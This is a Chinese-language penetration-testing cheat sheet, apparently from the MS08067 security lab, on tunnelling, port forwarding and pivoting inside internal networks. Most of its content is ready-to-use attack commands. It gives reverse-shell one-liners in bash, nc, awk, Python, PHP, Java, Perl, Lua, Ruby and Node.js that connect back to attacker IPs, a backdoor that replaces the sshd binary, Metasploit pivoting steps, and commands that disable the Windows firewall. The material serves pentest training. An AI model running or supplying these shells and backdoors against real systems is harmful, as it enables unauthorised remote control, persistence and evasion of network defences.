出品|MS08067實驗室(www.ms08067.com)
本文作者:掉到魚缸裡的貓(Ms08067內網安全小組成員)
NetCat
方法一:
靶機:
mkfifo /tmp/fifo
cat /tmp/fifo| nc 想要轉發的目標 想要轉發到的埠 | nc -lp 監聽埠> /tmp/fif
攻擊機:nc -nv 靶機IP 靶機監聽埠
反向Shell:
靶機:
方法一:nc -t -e cmd.exe 攻擊機IP 攻擊機監聽埠
方法二:cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目標IP 埠 > /tmp/fifo
方法三:nc -e /bin/sh 10.0.3.4 4444 (後期的nc就沒有-e的選項了)
攻擊機(公網):nc -lvp 監聽埠
不能轉發3389
正向shell
靶機:
$ mkfifo /tmp/fifo
$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 本地埠 > /tmp/fifo 12
攻擊機:nc 目標IP 埠
lcx
服務端:lcx -slave 公網IP 公網埠 本地IP 本地埠
公網客戶端:lcx -listen 遠端埠 本地埠
客戶端連線本地埠,對應於連線遠端埠
先啟動listen,再啟動slave
reGeorg
服務端:上傳指令碼到Web目錄,伺服器要求開啟 enable_dl 功能
同時安裝 php_sockets擴充套件客戶端:
reGeorgSocksProxy.py -p 本地埠 -u http://目標伺服器上的指令碼
使用Proxifier將需要的流量引入本地埠sock5模式
有指令碼可以指定不使用sock5協議
Tunna
靶機:上傳指令碼到Web目錄,PHP就不要用了,及其不穩定
攻擊機:proxy.py -u http://指令碼地址 -l 本地埠 -r 目標埠(伺服器) -v
使用Proxifier將需要的流量引入本地埠sock5模式
使用 -n 引數關閉sock協議
這個False問題不大
不能用linux的rdesktop連線,要用Windows的遠端桌面連線
這種情況問題也不大
點選是之前再執行一次指令碼就行
reDuh
服務端:上傳指令碼到Web目錄
客戶端:java -jar reDuhClient.jar http://指令碼位置 進行連線
本地連線java返回的本地埠 nc -vv localhost 本地埠
在命令提示符中輸入 [createTunnel]本地空閒埠:目標地址(想要訪問的目標內網地址):目標埠
htran
伺服器(目標主機):htran -slave 跳板IP 跳板port 本地ip 本地埠
跳板機:htran -tran 跳板port 公網IP 公網埠
客戶端(公網主機):htran -listen 公網監聽埠 流量接收埠
socat
靶機:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公網IP:公網埠
攻擊機:socat TCP-LISTEN:埠 - ,nc監聽也行
SSH
穿透兩個網路
公網跳板A:跳板A在B和C的兩個內網中間
開啟sshd的Gateway功能:
修改/etc/ssh/sshd_config,將 GatewayPorts 設定為yes
內網1中的B:ssh -p 22 -qngfNTR A
監聽端:localhost:22 A使用者@A地址
內網2中的C:ssh -p A監聽的埠 B使用者@A地址
本地流量轉發
#VPS
ssh -CfNg -L VPS埠:目標主機:目標埠跳板機使用者@跳板機IP
#攻擊端流量到VPS埠,被轉發
為什麼說是“本地”(單純的-L選項):
本地埠轉發繫結的是 lookback 介面,這意味著只有localhost 或者 127.0.0.1 才能使用本機的埠轉發 , 其他機器發起的連線只會得到“ connection refused. ”
但是可以利用GatewayPorts(-g)關鍵字來與其他機器共享這個本地轉發埠。
遠端轉發
#跳板主機
ssh -CfNg -R VPS埠:目標主機:目標埠VPS使用者@VPS的IP
#攻擊端流量到VPS埠,被轉發
動態轉發
ssh -CfNg -D 本地代理埠 VPS使用者@VPSIP
#流量轉發到VPS
兩層ssh
#Server2
ssh -CfNg -D 8882 User_Server3@Server3
#Server1
ssh -CfNg -L 8080:Server2:8882User_Server2@Server2
客戶端socks5代理Server1:8080
NPS
Earthworm(EW)
EW 是一套行動式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。
iox
- 具有流量加密
- 友好的命令列引數
- 邏輯優化
- UDP流量轉發
- https://github.com/EddieIvan01/iox
ngrok
各種系統都支援,支援內網穿透
利用IIS埠共享功能
……說實話,沒來得及嘗試,單看文件沒看懂
利用IIS的埠共享功能繞過防火牆
反彈shell
NC/Telent
telnet 可以換成 nc
方法一:
``
攻擊機nc監聽:nc -lp 空閒埠
服務端(靶機):mknod a p;telnet 攻擊機IP 攻擊機埠 0<a | /bin/bash 1>a
成功後沒有提示,嘗試命令即可
mknod命令中,a表示這個管道的名,p表示這個管道為FIFO(先進先出)和mkfifo一樣,就是後面mkfifo/tmp/backpipe1這種
**方法二:**
攻擊機:nc-lp 6666,nc-lp 5555,在監聽的6666的nc上輸入命令,在5555的nc上看返回的訊息
靶機:telnet 攻擊機 IP 6666| /bin/bash | telnet 攻擊機 IP 5555
**方法三:**
靶機執行:netcat -lvp 5555 -e /bin/sh
攻擊機執行:nc 靶機IP 靶機埠
**方法四:**
攻擊機執行:nc-lvvp 5555
靶機執行:nc 攻擊機IP 埠 -t -e /bin/bash
**方法五:**
mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回連地址6666 1 > /tmp/backpipe1
並不是所有的NC都有-e選項……有些裝置可能/bin下面沒有nc,但是busybox可以啊
##bash 反彈shell
服務端:bash -i >& /dev/tcp/公網IP/公網埠 0>&1
客戶端:nc -lvvp 埠
加密流量參看許可權維持筆記
##利用awk、gawk
1. 攻擊機執行監聽
2. 靶機執行
awk
'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
##Python 反彈shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("公網IP",目標埠));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
命令列直接執行 python -c '程式碼'
eval(import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))
##php反彈shell
$sock=fsockopen("公網IP",埠);
exec("/bin/sh -i <&3 >&3 2>&3");
命令列執行 php -r '程式碼'
##java反彈shell
public class Revs {
/**
- @param args
- @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec
5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd); p.waitFor(); } }
public class Test {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r=Runtime.getRuntime();
Process p=r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"});
p.waitFor();
}
}
##Perl反彈Shell
use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in(埠,inet_aton("公網IP"))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
命令列執行 perl -e ‘程式碼’
perl -MIO -e '$p=fork;
exit,if($p);
$c=new
IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
STDIN->fdopen($c,r);
$~->fdopen($c,w);system$_ while<>;'
##Lua
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"
##Ruby
ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd," r"){|io|c.print io.read}end'
##Node.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
##利用sshd反彈shell
**方法一:**
- 靶機執行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
- 攻擊機執行:ssh root@目標 -p 設定的埠 需要密碼
**方法二:**
1. 靶機執行:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
2. 攻擊機執行:
socat STDIO TCP4:192.168.1.129:22,sourceport=13377
##MSF 反彈shell 一句話
msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'
![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205503439-101126042.png)
##xterm下反彈
* 靶機執行 xterm -display 目標地址:1
* 接收方執行 xnest :1
![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205523702-1407109692.png)
##Metasploit穿透雙層網路
![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205532553-928145197.png)
攻擊機通過兩層跳板,對192.168.12.0/24網路進行掃描
1. 攻擊機獲得雙網路卡主機A的meterpreter會話
2. 執行命令,建立路由規則,只要會話不斷開Metasploit框架就可以訪問192.168.11.0/24網段
meterpreter> run autoroute -s 192.168.11.0/24
3. 配置流量轉發代理
meterpreter> background
msf> use auxiliary/server/socks4a
msf auxiliary(socks4a)> set srvhost 本機地址
msf auxiliary(socks4a)> set srvport 想要監聽的埠
msf auxiliary(socks4a)> run
4. 在proxychains配置檔案中新增sock4代理規則,即可通過proxychains實現流量轉發
5. 實現埠轉發
meterpreter> portfwd add -L 本地地址 -l 本地空閒埠 -p 目標埠 -r 目標地址
6.獲取雙網路卡主機B的控制權(使用bindTCP的payload,因為反向shell無法路由到攻擊機),獲取到meterpreter會話之後新增路由規則
meterpreter> run autoroute -s 192.168.12.0/24
7. 再次配置流量轉發代理(再開個新埠)
msf auxiliary(socks4a) > set SRVPORT 空閒埠
8. 修改proxychains配置檔案,取消下文的註釋,新增新的socks4代理
dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
#利用系統自帶功能
##Windows 雙網路卡路由
雙網路卡Windows主機作為路由:
1.通過登錄檔允許網路卡進行流量轉發: 修改以下注冊表專案為1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter
2. 開啟 Routing and Remote Access 服務
3. 兩側主機新增靜態路由規則,路由指向雙網路卡主機
##Windows netsh命令埠轉發
管理員許可權cmd執行
netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地埠 connectaddress=轉發目標 connectport=轉發埠 ( add 換成 delete 就是刪除啦~)
不成功的話,先關閉防火牆
netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off
檢視埠對映配置:
netsh interface portproxy show all
1.為e:\f.exe 新增防火牆規則,需要管理員許可權。
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow
刪除
netsh advfirewall firewall delete rule name="f.exe"
2、新增埠
netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow
刪除
netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080
##iptables
![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205856352-1517247470.png)
* PREROUTING:在進行路由判斷之前所要進行的規則(DNAT/REDIRECT)(資料包進入主機後第一步),決定目標地址的改變與否 + 上下路的判定(是過濾型防火牆還是NAT防火牆)。
* INPUT:處理入站的資料包
* OUTPUT:處理出站的資料包
* FORWARD:是否允許被防火牆繼續轉發 + 是否允許使用Linux的路由/轉發功能。
* POSTROUTING:對資料包在經過路由表之後,最後一個處理步驟(資料包流出主機前最後的步驟),決定資料包是否需要改變源地址。
兩條鏈重要功能在於修改IP,而這兩條鏈修改的IP又是不一樣的,POSTROUTING在修改來源IP,PREROUTING則在修改目標IP 。
由於修改的 IP 不一樣,所以就稱為來源NAT (Source NAT, SNAT) 及目標 NAT (Destination NAT, DNAT)。
只用POSTROUTING:從請求側來看的話,只修改源IP
![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205932493-788500754.png)
iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212
兩個結合起來就可以當做埠轉發了:
iptables -t nat -A PREROUTING -p tcp --dport 本機監聽埠 -j DNAT --to- destination 目標IP:埠
iptables -t nat -A POSTROUTING -d 目標主機 -j SNAT --to-source 本機IP
##參考
常見埠轉發工具的使用方式
淺談內網埠轉發
Linux iptables用法與NAT
 
 
 
**<font color=red>轉載請聯絡作者並註明出處!</font>**
Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!
<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171059867-27992252.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171108710-1006825273.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171113475-91288513.jpg" width=30% height=30%>
<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171130928-1756064793.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171138875-1861126870.jpg" width=30% height=30%> <img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171146080-229256920.jpg" width=30% height=30%>